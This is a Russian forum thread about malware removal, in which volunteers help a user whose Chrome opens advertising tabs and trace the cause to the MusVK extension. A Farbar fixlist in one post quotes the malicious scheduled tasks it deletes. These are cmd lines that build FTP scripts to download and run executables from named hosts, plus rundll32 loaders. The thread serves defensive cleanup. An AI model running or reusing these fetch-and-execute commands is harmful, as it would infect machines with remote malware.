Форум программистов, компьютерный форум, киберфорум
Лечение компьютерных вирусов
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.89/9: Рейтинг темы: голосов - 9, средняя оценка - 4.89
0 / 0 / 0
Регистрация: 02.09.2015
Сообщений: 43
1

Самопроизвольное открытие вкладок с рекламой в Google chrome

15.09.2017, 22:47. Показов 1876. Ответов 15
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Антивирус постоянно проводит проверку, находит кучу вирусов, но не удаляет
Вложения
Тип файла: zip CollectionLog-2017.09.15-22.45.zip (78.7 Кб, 3 просмотров)
0
Лучшие ответы (1)
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
15.09.2017, 22:47
Ответы с готовыми решениями:

Самопроизвольное открытие вкладок Google Chrome c рекламой вулкана, переадресация search-engine.ru
Добрый день! Столкнулся с проблемой самопроизвольного открытия вкладок с рекламой, очень раздражает...

Самопроизвольное открытие вкладок с рекламой Chrome
Скачал файл с расширением exe, после установки появились сервисы mailru. Мэилру я удалил, осталось...

Самопроизвольное открытие вкладок в Google Chrome
Здравствуйте. С некоторой периодичностью начали открываться вкладки в браузере с рекламой

Самопроизвольное открытие рекламных вкладок Google Chrome
Доброго времени суток. Вчера "чудным" образом установились Амиго, mail.ru и еще куча нечисти. ...

15
Вирусоборец
13100 / 7251 / 1535
Регистрация: 06.09.2009
Сообщений: 26,482
17.09.2017, 22:18 2
Скачайте Farbar Recovery Scan Tool [img]http://i.**********/NAAC5Ba.png[/img] и сохраните на Рабочем столе.
  • Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
2. Убедитесь, что в окне Optional Scan отмечены List BCD, Driver MD5 и 90 Days Files.
[img]http://i.**********/3munStB.png[/img]
3. Нажмите кнопку Scan.
4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа.
5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt).
6. Отчеты, полученные в пп. 4 и 5, заархивируйте (в один архив) и прикрепите к сообщению.
0
0 / 0 / 0
Регистрация: 02.09.2015
Сообщений: 43
18.09.2017, 08:09  [ТС] 3
Добрый день. Отчет во вложении. Спасибо
Вложения
Тип файла: rar Отчет.rar (21.6 Кб, 2 просмотров)
0
Вирусоборец
13100 / 7251 / 1535
Регистрация: 06.09.2009
Сообщений: 26,482
18.09.2017, 18:26 4
1. Откройте Блокнот и скопируйте в него приведенный ниже текст
Код
CreateRestorePoint:
SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{cff60c1d-9e06-42a9-8363-215a8ea9f250} <==== ATTENTION (Restriction - IP)
CHR HKLM\...\Chrome\Extension: [flliilndjeohchalpbbcdekjklbdgfkk] - hxxps://clients2.google.com/service/update2/crx
CHR HKU\S-1-5-21-2740991483-2355057569-993609880-1000\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [dhdgffkkebhmkfjojejmpbldmpobfkfo] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [bhjcgomkanpkpblokebecknhahgkcmoo] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [cpegcopcfajiiibidlaelhjjblpefbjk] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [dljdacfojgikogldjffnkdcielnklkce] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [flliilndjeohchalpbbcdekjklbdgfkk] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [necfmkplpminfjagblfabggomdpaakan] - hxxp://clients2.google.com/service/update2/crx
Task: {72A0C868-2C20-40BB-A416-4E67DF803F38} - System32\Tasks\MSI => C:\Users\Vadzim\AppData\Roaming\Microsoft\msi.exe <==== ATTENTION
Task: {8D1CF0F4-47CF-4BB8-AA61-A0414D1649BB} - System32\Tasks\Mysa3 => cmd /c echo open ftp.oo000oo.me>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe <==== ATTENTION
Task: {25747E0B-A1DD-42FF-874C-15DDAABBC61E} - System32\Tasks\Mysa => cmd /c echo open down.mysking.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe <==== ATTENTION
Task: {A77BED6F-0591-4EFF-8406-14F815FC3D7A} - System32\Tasks\Mysa2 => cmd /c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p <==== ATTENTION
Task: {C17DFC37-9B50-4FFE-B872-EE8E32C57E5A} - System32\Tasks\ok => rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
Task: {E9CC112D-1598-427C-B10B-538C52906B25} - System32\Tasks\Mysa1 => rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa <==== ATTENTION
c:\windows\debug\item.dat
c:\windows\debug\ok.dat
Reboot:
2. Нажмите ФайлСохранить как
3. Выберите папку, откуда была запущена утилита Farbar Recovery Scan Tool
4. Укажите Тип файлаВсе файлы (*.*)
5. Введите имя файла fixlist.txt и нажмите кнопку Сохранить
6. Запустите FRST, нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.
  • Обратите внимание, что будет выполнена перезагрузка компьютера.
0
0 / 0 / 0
Регистрация: 02.09.2015
Сообщений: 43
18.09.2017, 22:26  [ТС] 5
Добрый вечер. Прикрепил лог
Вложения
Тип файла: txt Fixlog.txt (6.3 Кб, 4 просмотров)
0
Вирусоборец
13100 / 7251 / 1535
Регистрация: 06.09.2009
Сообщений: 26,482
20.09.2017, 06:41 6
Что с проблемой?
0
0 / 0 / 0
Регистрация: 02.09.2015
Сообщений: 43
20.09.2017, 22:29  [ТС] 7
Антивирус уже не бесится, но в гугл хроме бывает одна закладка подменяется на другую и появляется реклама
Миниатюры
Самопроизвольное открытие вкладок с рекламой в Google chrome  
0
Вирусоборец
13100 / 7251 / 1535
Регистрация: 06.09.2009
Сообщений: 26,482
21.09.2017, 06:16 8
Лучший ответ Сообщение было отмечено OcTep как решение

Решение

Отключите ВСЕ установленные расширения для браузеров и проверьте проблему
0
0 / 0 / 0
Регистрация: 02.09.2015
Сообщений: 43
21.09.2017, 14:31  [ТС] 9
Проблема решена. Спасибо
0
Вирусоборец
21563 / 15513 / 2989
Регистрация: 08.10.2012
Сообщений: 63,070
21.09.2017, 14:40 10
Какое из расширений вызывало проблему, не запомнили?
0
0 / 0 / 0
Регистрация: 02.09.2015
Сообщений: 43
21.09.2017, 23:41  [ТС] 11
Что-то из этого. Скорее всего MusVK
Миниатюры
Самопроизвольное открытие вкладок с рекламой в Google chrome  
0
Вирусоборец
21563 / 15513 / 2989
Регистрация: 08.10.2012
Сообщений: 63,070
22.09.2017, 09:07 12
Цитата Сообщение от OcTep Посмотреть сообщение
Скорее всего MusVK
Включите его и проверьте.
0
0 / 0 / 0
Регистрация: 02.09.2015
Сообщений: 43
22.09.2017, 23:20  [ТС] 13
Да.. проверил - при загрузке вк это расширение открывает рекламные страницы
0
Вирусоборец
13100 / 7251 / 1535
Регистрация: 06.09.2009
Сообщений: 26,482
23.09.2017, 18:04 14
Значит удаляйте его.

+ Загрузите SecurityCheck by glax24 и сохраните утилиту на Рабочем столе.
  • Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши Запустить от имени администратора (если Вы используете Windows Vista/7/8/10);
  • Если увидите предупреждение от вашего фаервола относительно программы SecurityCheck, не блокируйте ее работу;
  • Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt;
  • Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt;
  • Процитируйте содержимое файла в своем следующем сообщении.
0
0 / 0 / 0
Регистрация: 02.09.2015
Сообщений: 43
26.09.2017, 22:32  [ТС] 15
Добавил
Вложения
Тип файла: rar SecurityCheck.rar (3.3 Кб, 2 просмотров)
0
Вирусоборец
21563 / 15513 / 2989
Регистрация: 08.10.2012
Сообщений: 63,070
27.09.2017, 09:08 16
------------------------------- [ Windows ] -------------------------------
Internet Explorer 9.0.8112.16421 Внимание! Скачать обновления
^Онлайн установка. Последняя версия доступна при включенном обновлении Windows через интернет.^
Контроль учётных записей пользователя отключен
Запрос на повышение прав для администраторов отключен
Запрос на повышение прав для обычных пользователей отключен
^Рекомендуется включить: Win+R ввести UserAccountControlSettings и Enter^
Автоматическое обновление отключено
Дата установки обновлений: 2015-09-19 14:13:27
------------------------------- [ HotFix ] --------------------------------
HotFix KB3115858 Внимание! Скачать обновления
HotFix KB3140735 Внимание! Скачать обновления
HotFix KB3138910 Внимание! Скачать обновления
HotFix KB3138962 Внимание! Скачать обновления
HotFix KB3145739 Внимание! Скачать обновления
HotFix KB3146963 Внимание! Скачать обновления
HotFix KB3156013 Внимание! Скачать обновления
HotFix KB3156016 Внимание! Скачать обновления
HotFix KB3156019 Внимание! Скачать обновления
HotFix KB3155178 Внимание! Скачать обновления
HotFix KB3153171 Внимание! Скачать обновления
HotFix KB3170455 Внимание! Скачать обновления
HotFix KB3178034 Внимание! Скачать обновления
HotFix KB3185911 Внимание! Скачать обновления
HotFix KB3184122 Внимание! Скачать обновления
HotFix KB3192391 Внимание! Скачать обновления
HotFix KB3197867 Внимание! Скачать обновления
HotFix KB3205394 Внимание! Скачать обновления
HotFix KB4012212 Внимание! Скачать обновления
HotFix KB4019263 Внимание! Скачать обновления
HotFix KB4022722 Внимание! Скачать обновления
HotFix KB4015546 Внимание! Скачать обновления
HotFix KB4025337 Внимание! Скачать обновления
HotFix KB4034679 Внимание! Скачать обновления
--------------------------- [ OtherUtilities ] ----------------------------
WinRAR 4.01 (64-разрядная) v.4.01.0 Внимание! Скачать обновления
Ghostscript GPL 8.64 (Msi Setup) v.8.64 Внимание! Скачать обновления
Microsoft Silverlight v.1.0.30401.0 Внимание! Скачать обновления
--------------------------------- [ P2P ] ---------------------------------
µTorrent v.3.5.0.43916 Внимание! Клиент сети P2P! Может содержать рекламные модули или использоваться для скачивания нежелательного контента.
--------------------------- [ AppleProduction ] ---------------------------
iTunes v.12.4.3.1 Внимание! Скачать обновления
^Для проверки новой версии используйте приложение Apple Software Update^
--------------------------- [ AdobeProduction ] ---------------------------
Adobe Reader X (10.1.0) - Russian v.10.1.0 Данная программа больше не поддерживается разработчиком. Рекомендуется деинсталлировать ее, скачать и установить Adobe Reader XI или Adobe Acrobat Reader DC.
------------------------------- [ Browser ] -------------------------------
Google Chrome v.60.0.3112.113 Внимание! Скачать обновления
^Проверьте обновления через меню Справка - О Google Chrome!^
---------------------------- [ UnwantedApps ] -----------------------------
WinToFlash Suggestor v.1.2.5.0 Внимание! Подозрение на Adware! Если данная программа Вам неизвестна, рекомендуется ее деинсталляция и сканирование ПК с помощью Malwarebytes Anti-Malware и Malwarebytes AdwCleaner Перед деинсталляцией и сканированием обязательно проконсультируйтесь в теме форума, где Вам оказывается помощь!!!


Прочтите и выполните Рекомендации после удаления вредоносного ПО
0
27.09.2017, 09:08
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
27.09.2017, 09:08
Помогаю со студенческими работами здесь

Самопроизвольное открытие окна с рекламой в Google Chrome
На днях поймал что-то в сети. Microsoft Security Essentials не помог. Сначала был заблокирован вход...

Открытие вкладок с рекламой (Google Chrome)
Добрый вечер! Из всех имеющихся браузеров наблюдаю проблему только в google chrome. При нажатии...

Google Chrome. Произвольное открытие вкладок с рекламой
Добрый вечер. Устанавливая ПО, случайно пропустил галку &quot;Установить Амиго и сделать его...

Открытие новых вкладок с рекламой в Google Chrome
Каждые минут 10, в Хроме открываются новые вкладки с рекламой,вкладки разные.


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
16
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru